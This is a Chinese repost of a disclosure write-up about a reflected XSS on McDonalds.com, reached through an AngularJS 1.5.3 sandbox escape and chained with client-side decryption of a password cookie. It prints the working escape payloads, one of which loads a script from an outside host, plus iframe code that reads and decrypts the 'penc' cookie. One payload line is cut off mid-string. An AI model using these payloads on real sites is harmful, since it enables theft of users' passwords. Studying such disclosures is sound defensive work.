AngularJS沙箱繞過:反射型XSS導致麥當勞用戶密碼泄露

LouRandle 7年前發布 | 34K 次閱讀 XSS漏洞 Web框架 angularjs

通過濫用一個不安全加密存儲漏洞和反射型服務端跨站腳本漏洞就可以從麥當勞盜取并解密用戶密碼。除此之外,其他個人信息,如用戶姓名、地址和聯系方式都可能被盜。

Proof of Concept ( PoC )

AngularJS沙箱繞過進行反射型XSS

McDonalds.com包括一個搜索頁面在頁面的源碼上體現了一個搜索參數(q)的值。所以當我們在頁面上搜索***********-test-reflected-test-***********的時候響應會如下所示:

麥當勞使用AngularJS所以我們可以嘗試使用搜索值列出唯一ID的范圍。我們可以通過修改q參數為{{$id}}。我們可以看到{{$id}}被轉換成9,AngularJS范圍內唯一的ID(單調遞增)。

使用{{alert(1)}}并不會彈窗,因為所有的AngularJS代碼都在沙箱中執行。然而  AngularJS沙箱是不安全的。事實上,它完全不應被信任。在1.6版本中甚至因為虛假安全而被移除。PortSwigger 寫了一篇很好的博文關于AngularJS沙箱的逃離技術。

我們首先要找到McDonalds.com的AngularJS版本。我們可以在  console執行angular.version

版本是1.5.3,沙箱逃逸我們需要

{{x ={'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

我們使用這個沙箱逃逸作為搜索值,并以此導致彈窗。

我們甚至可以在沙箱逃逸后加載外部Javascript文件,并導致下面的彈窗。

{{x = {'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/external-alert.js`)');}}`

因為麥當勞沒有使用CSP(content-security-policy)頭, Javascript可以被加載任意域名。

Proof of Concept(PoC)

盜取用戶密碼

在McDonalds.com上我注意到的另一件事情是他們的登錄頁面,包含了一個非常特殊的復選框。正常來說你可以在登錄過后選擇“記住我”,但麥當勞的登錄頁面留給我們記住密碼的選項。

我在所有的Javascript中搜索password關鍵字并找到一些有趣的解密代碼。

如果說有一件事情是不應該做的,那就是在客戶端解密(甚至使用雙向加密存儲密碼)。我嘗試運行自己的代碼,而且成功了!

penc 是一個在cookie中存儲一年的值。LOL !

麥當勞使用CryptoJS來加密和解密敏感數據。他們為所有用戶使用相同的Key(密鑰 )和IV(初始化向量),這意味著我只要盜取了penc的cookie解密某人的密碼

我嘗試在搜索頁面使用一個惡意搜索payload來解密我的密碼,但沒有成功。因為AngularJS 的沙箱逃逸載荷替代了chartAt方法為join方法,getcookie 方法失敗了。getcookie方法會嘗試通過檢查charAt(0)是否為空格來去除 cookie值中的空格。在下圖,你可以看到如果在搜索頁面成功執行.charAt(0)返回字符串與 0 相聯結。

我寫了一些Javascript在主頁上加載iframe ,并通過iframe盜取用戶cookie 。因為沙箱逃逸的緣故,載荷需要執行多次,我跟蹤變量 xssIsExecuted,這樣 payload 只執行一次。

if (!window.xssIsExecuted) {
window.xssIsExecuted = true; 
var iframe = $('<iframe src="https://www.mcdonalds.com/us/en-us.html"></iframe>');
$('body').append(iframe); 
iframe.on('load', function() {
var penc = iframe[0].contentWindow.getCookie('penc');
alert(iframe[0].contentWindow.decrypt(penc));
});
}

現在我們可以使用下列沙箱逃逸,成功彈窗!

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].jo
donalds-password-stealer.js`)');}}

這些都相當簡單,我聯系了麥當勞多次并報告問題,不幸的是他們沒有任何回應,這就是為什么我決定披露此漏洞的原因。

 

來自:http://www.freebuf.com/vuls/125932.html

 

 本文由用戶 LouRandle 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!